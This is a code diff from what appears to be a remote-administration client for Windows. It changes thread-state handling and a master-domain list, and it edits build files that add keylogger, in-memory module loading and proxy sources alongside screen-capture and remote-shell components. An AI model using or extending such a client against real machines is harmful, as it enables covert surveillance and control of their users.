while (GetTickCount64() - dwTickCount < 5000 && app.m_bIsRunning(&app))
|
while (GetTickCount64() - dwTickCount < 5000 && app.m_bIsRunning(&app))
|
||||||
Sleep(200);
|
Sleep(200);
|
||||||
}
|
}
|
||||||
|
kb->Exit(10);
|
||||||
if (app.g_bExit == S_CLIENT_EXIT && app.g_hEvent && !app.m_bShared) {
|
if (app.g_bExit == S_CLIENT_EXIT && app.g_hEvent && !app.m_bShared) {
|
||||||
BOOL b = SetEvent(app.g_hEvent);
|
BOOL b = SetEvent(app.g_hEvent);
|
||||||
Mprintf(">>> [StartClient] Set event: %s %s!\n", EVENT_FINISHED, b ? "succeed" : "failed");
|
Mprintf(">>> [StartClient] Set event: %s %s!\n", EVENT_FINISHED, b ? "succeed" : "failed");
|
||||||
@@ -493,7 +531,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
|||||||
Mprintf("StartClient end\n");
|
Mprintf("StartClient end\n");
|
||||||
delete ClientObject;
|
delete ClientObject;
|
||||||
SAFE_DELETE(Manager);
|
SAFE_DELETE(Manager);
|
||||||
app.g_bThreadExit = true;
|
app.SetThreadRun(FALSE);
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -12,6 +12,7 @@
|
|||||||
#include <sstream>
|
#include <sstream>
|
||||||
#include <shellapi.h>
|
#include <shellapi.h>
|
||||||
#include <corecrt_io.h>
|
#include <corecrt_io.h>
|
||||||
|
#include "domain_pool.h"
|
||||||
|
|
||||||
BOOL IsProcessExit();
|
BOOL IsProcessExit();
|
||||||
|
|
||||||
@@ -39,6 +40,12 @@ typedef struct ClientApp
|
|||||||
g_Connection = new CONNECT_ADDRESS(*conn);
|
g_Connection = new CONNECT_ADDRESS(*conn);
|
||||||
m_bIsRunning = run;
|
m_bIsRunning = run;
|
||||||
m_bShared = shared;
|
m_bShared = shared;
|
||||||
|
g_bThreadExit = TRUE;
|
||||||
|
}
|
||||||
|
std::vector<std::string> GetSharedMasterList() {
|
||||||
|
DomainPool pool = g_Connection->ServerIP();
|
||||||
|
auto list = pool.GetIPList();
|
||||||
|
return list;
|
||||||
}
|
}
|
||||||
~ClientApp() {
|
~ClientApp() {
|
||||||
SAFE_DELETE(g_Connection);
|
SAFE_DELETE(g_Connection);
|
||||||
@@ -62,6 +69,22 @@ typedef struct ClientApp
|
|||||||
while (GetCount())
|
while (GetCount())
|
||||||
Sleep(50);
|
Sleep(50);
|
||||||
}
|
}
|
||||||
|
bool IsThreadRun() {
|
||||||
|
m_Locker.Lock();
|
||||||
|
BOOL n = g_bThreadExit;
|
||||||
|
m_Locker.Unlock();
|
||||||
|
return FALSE == n;
|
||||||
|
}
|
||||||
|
void SetThreadRun(BOOL run = TRUE) {
|
||||||
|
m_Locker.Lock();
|
||||||
|
g_bThreadExit = !run;
|
||||||
|
m_Locker.Unlock();
|
||||||
|
}
|
||||||
|
void SetProcessState(State state = S_CLIENT_NORMAL) {
|
||||||
|
m_Locker.Lock();
|
||||||
|
g_bExit = state;
|
||||||
|
m_Locker.Unlock();
|
||||||
|
}
|
||||||
}ClientApp;
|
}ClientApp;
|
||||||
|
|
||||||
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE);
|
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE);
|
||||||
|
|||||||
@@ -1,20 +0,0 @@
|
|||||||
|
|
||||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
|
||||||
# Visual Studio 2012
|
|
||||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ClientDll", "ClientDll.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}"
|
|
||||||
EndProject
|
|
||||||
Global
|
|
||||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
|
||||||
Debug|Win32 = Debug|Win32
|
|
||||||
Release|Win32 = Release|Win32
|
|
||||||
EndGlobalSection
|
|
||||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
|
||||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|Win32.ActiveCfg = Debug|Win32
|
|
||||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|Win32.Build.0 = Debug|Win32
|
|
||||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|Win32.ActiveCfg = Release|Win32
|
|
||||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|Win32.Build.0 = Release|Win32
|
|
||||||
EndGlobalSection
|
|
||||||
GlobalSection(SolutionProperties) = preSolution
|
|
||||||
HideSolutionNode = FALSE
|
|
||||||
EndGlobalSection
|
|
||||||
EndGlobal
|
|
||||||
@@ -1,153 +0,0 @@
|
|||||||
<?xml version="1.0" encoding="utf-8"?>
|
|
||||||
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
|
||||||
<ItemGroup Label="ProjectConfigurations">
|
|
||||||
<ProjectConfiguration Include="Debug|Win32">
|
|
||||||
<Configuration>Debug</Configuration>
|
|
||||||
<Platform>Win32</Platform>
|
|
||||||
</ProjectConfiguration>
|
|
||||||
<ProjectConfiguration Include="Release|Win32">
|
|
||||||
<Configuration>Release</Configuration>
|
|
||||||
<Platform>Win32</Platform>
|
|
||||||
</ProjectConfiguration>
|
|
||||||
</ItemGroup>
|
|
||||||
<PropertyGroup Label="Globals">
|
|
||||||
<ProjectGuid>{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}</ProjectGuid>
|
|
||||||
<RootNamespace>ClientDll</RootNamespace>
|
|
||||||
<ProjectName>ServerDll</ProjectName>
|
|
||||||
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
|
|
||||||
</PropertyGroup>
|
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
|
||||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
|
||||||
<UseDebugLibraries>true</UseDebugLibraries>
|
|
||||||
<PlatformToolset>v110_xp</PlatformToolset>
|
|
||||||
<CharacterSet>MultiByte</CharacterSet>
|
|
||||||
<UseOfMfc>false</UseOfMfc>
|
|
||||||
</PropertyGroup>
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
|
||||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
|
||||||
<UseDebugLibraries>false</UseDebugLibraries>
|
|
||||||
<PlatformToolset>v110_xp</PlatformToolset>
|
|
||||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
|
||||||
<CharacterSet>MultiByte</CharacterSet>
|
|
||||||
</PropertyGroup>
|
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
|
||||||
<ImportGroup Label="ExtensionSettings">
|
|
||||||
</ImportGroup>
|
|
||||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
|
||||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
|
||||||
</ImportGroup>
|
|
||||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
|
||||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
|
||||||
</ImportGroup>
|
|
||||||
<PropertyGroup Label="UserMacros" />
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
|
||||||
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
|
|
||||||
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
|
|
||||||
</PropertyGroup>
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
|
||||||
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
|
|
||||||
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
|
|
||||||
</PropertyGroup>
|
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
|
||||||
<ClCompile>
|
|
||||||
<WarningLevel>Level3</WarningLevel>
|
|
||||||
<Optimization>Disabled</Optimization>
|
|
||||||
<AdditionalIncludeDirectories>./;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
|
||||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
|
||||||
<PreprocessorDefinitions>ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
|
||||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
|
||||||
<MinimalRebuild>false</MinimalRebuild>
|
|
||||||
</ClCompile>
|
|
||||||
<Link>
|
|
||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
|
||||||
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
|
||||||
<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
|
|
||||||
</Link>
|
|
||||||
</ItemDefinitionGroup>
|
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
|
||||||
<ClCompile>
|
|
||||||
<WarningLevel>Level3</WarningLevel>
|
|
||||||
<Optimization>MaxSpeed</Optimization>
|
|
||||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
|
||||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
|
||||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
|
||||||
<AdditionalIncludeDirectories>./;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
|
||||||
<PreprocessorDefinitions>ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
|
||||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
|
||||||
</ClCompile>
|
|
||||||
<Link>
|
|
||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
|
||||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
|
||||||
<OptimizeReferences>true</OptimizeReferences>
|
|
||||||
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
|
||||||
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
|
||||||
</Link>
|
|
||||||
</ItemDefinitionGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<ClCompile Include="Audio.cpp" />
|
|
||||||
<ClCompile Include="AudioManager.cpp" />
|
|
||||||
<ClCompile Include="Buffer.cpp" />
|
|
||||||
<ClCompile Include="CaptureVideo.cpp" />
|
|
||||||
<ClCompile Include="ClientDll.cpp" />
|
|
||||||
<ClCompile Include="Common.cpp" />
|
|
||||||
<ClCompile Include="FileManager.cpp" />
|
|
||||||
<ClCompile Include="IOCPClient.cpp" />
|
|
||||||
<ClCompile Include="KernelManager.cpp" />
|
|
||||||
<ClCompile Include="LoginServer.cpp" />
|
|
||||||
<ClCompile Include="Manager.cpp" />
|
|
||||||
<ClCompile Include="RegisterManager.cpp" />
|
|
||||||
<ClCompile Include="RegisterOperation.cpp" />
|
|
||||||
<ClCompile Include="ScreenManager.cpp" />
|
|
||||||
<ClCompile Include="ScreenSpy.cpp" />
|
|
||||||
<ClCompile Include="ServicesManager.cpp" />
|
|
||||||
<ClCompile Include="ShellManager.cpp" />
|
|
||||||
<ClCompile Include="StdAfx.cpp" />
|
|
||||||
<ClCompile Include="SystemManager.cpp" />
|
|
||||||
<ClCompile Include="TalkManager.cpp" />
|
|
||||||
<ClCompile Include="VideoManager.cpp" />
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<ClInclude Include="Audio.h" />
|
|
||||||
<ClInclude Include="AudioManager.h" />
|
|
||||||
<ClInclude Include="Buffer.h" />
|
|
||||||
<ClInclude Include="CaptureVideo.h" />
|
|
||||||
<ClInclude Include="Common.h" />
|
|
||||||
<ClInclude Include="CursorInfo.h" />
|
|
||||||
<ClInclude Include="FileManager.h" />
|
|
||||||
<ClInclude Include="IOCPClient.h" />
|
|
||||||
<ClInclude Include="KernelManager.h" />
|
|
||||||
<ClInclude Include="LoginServer.h" />
|
|
||||||
<ClInclude Include="Manager.h" />
|
|
||||||
<ClInclude Include="RegisterManager.h" />
|
|
||||||
<ClInclude Include="RegisterOperation.h" />
|
|
||||||
<ClInclude Include="resource.h" />
|
|
||||||
<ClInclude Include="ScreenManager.h" />
|
|
||||||
<ClInclude Include="ScreenSpy.h" />
|
|
||||||
<ClInclude Include="ServicesManager.h" />
|
|
||||||
<ClInclude Include="ShellManager.h" />
|
|
||||||
<ClInclude Include="StdAfx.h" />
|
|
||||||
<ClInclude Include="SystemManager.h" />
|
|
||||||
<ClInclude Include="TalkManager.h" />
|
|
||||||
<ClInclude Include="VideoCodec.h" />
|
|
||||||
<ClInclude Include="VideoManager.h" />
|
|
||||||
<ClInclude Include="zconf.h" />
|
|
||||||
<ClInclude Include="zlib.h" />
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<ResourceCompile Include="Script.rc" />
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<None Include="ExportFunTable.def" />
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<Media Include="Res\msg.wav" />
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<Image Include="Res\ghost.ico" />
|
|
||||||
<Image Include="Res\msg.ico" />
|
|
||||||
</ItemGroup>
|
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
|
||||||
<ImportGroup Label="ExtensionTargets">
|
|
||||||
</ImportGroup>
|
|
||||||
</Project>
|
|
||||||
@@ -1,182 +0,0 @@
|
|||||||
<?xml version="1.0" encoding="utf-8"?>
|
|
||||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
|
||||||
<ItemGroup>
|
|
||||||
<Filter Include="源文件">
|
|
||||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
|
||||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
|
||||||
</Filter>
|
|
||||||
<Filter Include="头文件">
|
|
||||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
|
||||||
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
|
||||||
</Filter>
|
|
||||||
<Filter Include="资源文件">
|
|
||||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
|
||||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
|
||||||
</Filter>
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<ClCompile Include="Audio.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="AudioManager.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="Buffer.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="CaptureVideo.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="ClientDll.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="Common.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="FileManager.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="IOCPClient.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="KernelManager.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="LoginServer.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="Manager.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="RegisterManager.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="RegisterOperation.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="ScreenManager.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="ScreenSpy.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="ServicesManager.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="ShellManager.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="StdAfx.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="SystemManager.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="TalkManager.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="VideoManager.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<ClInclude Include="Audio.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="AudioManager.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="Buffer.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="CaptureVideo.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="Common.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="FileManager.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="IOCPClient.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="KernelManager.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="LoginServer.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="Manager.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="RegisterManager.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="RegisterOperation.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="resource.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="ScreenManager.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="ScreenSpy.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="ServicesManager.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="ShellManager.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="StdAfx.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="SystemManager.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="TalkManager.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="VideoCodec.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="VideoManager.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="zconf.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="zlib.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="CursorInfo.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<ResourceCompile Include="Script.rc">
|
|
||||||
<Filter>资源文件</Filter>
|
|
||||||
</ResourceCompile>
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<None Include="ExportFunTable.def">
|
|
||||||
<Filter>资源文件</Filter>
|
|
||||||
</None>
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<Media Include="Res\msg.wav">
|
|
||||||
<Filter>资源文件</Filter>
|
|
||||||
</Media>
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<Image Include="Res\ghost.ico">
|
|
||||||
<Filter>资源文件</Filter>
|
|
||||||
</Image>
|
|
||||||
<Image Include="Res\msg.ico">
|
|
||||||
<Filter>资源文件</Filter>
|
|
||||||
</Image>
|
|
||||||
</ItemGroup>
|
|
||||||
</Project>
|
|
||||||
@@ -1,11 +0,0 @@
|
|||||||
<?xml version="1.0" encoding="utf-8"?>
|
|
||||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
|
||||||
<LocalDebuggerCommand>$(TargetDir)\TestRun.exe</LocalDebuggerCommand>
|
|
||||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
|
||||||
</PropertyGroup>
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
|
||||||
<LocalDebuggerCommand>$(TargetDir)\TestRun.exe</LocalDebuggerCommand>
|
|
||||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
|
||||||
</PropertyGroup>
|
|
||||||
</Project>
|
|
||||||
@@ -70,23 +70,23 @@
|
|||||||
</ImportGroup>
|
</ImportGroup>
|
||||||
<PropertyGroup Label="UserMacros" />
|
<PropertyGroup Label="UserMacros" />
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath>
|
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
|
||||||
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)</LibraryPath>
|
||||||
<IntDir>$(Configuration)\dll</IntDir>
|
<IntDir>$(Configuration)\dll</IntDir>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath>
|
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
|
||||||
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)</LibraryPath>
|
||||||
<IntDir>$(Platform)\$(Configuration)\dll</IntDir>
|
<IntDir>$(Platform)\$(Configuration)\dll</IntDir>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)</LibraryPath>
|
||||||
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath>
|
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
|
||||||
<IntDir>$(Configuration)\dll</IntDir>
|
<IntDir>$(Configuration)\dll</IntDir>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)</LibraryPath>
|
||||||
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath>
|
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
|
||||||
<IntDir>$(Platform)\$(Configuration)\dll</IntDir>
|
<IntDir>$(Platform)\$(Configuration)\dll</IntDir>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
@@ -161,6 +161,7 @@
|
|||||||
</Link>
|
</Link>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
|
<ClCompile Include="..\server\2015Remote\pwd_gen.cpp" />
|
||||||
<ClCompile Include="Audio.cpp" />
|
<ClCompile Include="Audio.cpp" />
|
||||||
<ClCompile Include="AudioManager.cpp" />
|
<ClCompile Include="AudioManager.cpp" />
|
||||||
<ClCompile Include="Buffer.cpp" />
|
<ClCompile Include="Buffer.cpp" />
|
||||||
@@ -169,10 +170,14 @@
|
|||||||
<ClCompile Include="Common.cpp" />
|
<ClCompile Include="Common.cpp" />
|
||||||
<ClCompile Include="FileManager.cpp" />
|
<ClCompile Include="FileManager.cpp" />
|
||||||
<ClCompile Include="IOCPClient.cpp" />
|
<ClCompile Include="IOCPClient.cpp" />
|
||||||
|
<ClCompile Include="IOCPUDPClient.cpp" />
|
||||||
<ClCompile Include="KernelManager.cpp" />
|
<ClCompile Include="KernelManager.cpp" />
|
||||||
<ClCompile Include="KeyboardManager.cpp" />
|
<ClCompile Include="KeyboardManager.cpp" />
|
||||||
|
<ClCompile Include="keylogger.cpp" />
|
||||||
<ClCompile Include="LoginServer.cpp" />
|
<ClCompile Include="LoginServer.cpp" />
|
||||||
<ClCompile Include="Manager.cpp" />
|
<ClCompile Include="Manager.cpp" />
|
||||||
|
<ClCompile Include="MemoryModule.c" />
|
||||||
|
<ClCompile Include="proxy\ProxyManager.cpp" />
|
||||||
<ClCompile Include="RegisterManager.cpp" />
|
<ClCompile Include="RegisterManager.cpp" />
|
||||||
<ClCompile Include="RegisterOperation.cpp" />
|
<ClCompile Include="RegisterOperation.cpp" />
|
||||||
<ClCompile Include="ScreenManager.cpp" />
|
<ClCompile Include="ScreenManager.cpp" />
|
||||||
@@ -186,7 +191,8 @@
|
|||||||
<ClCompile Include="X264Encoder.cpp" />
|
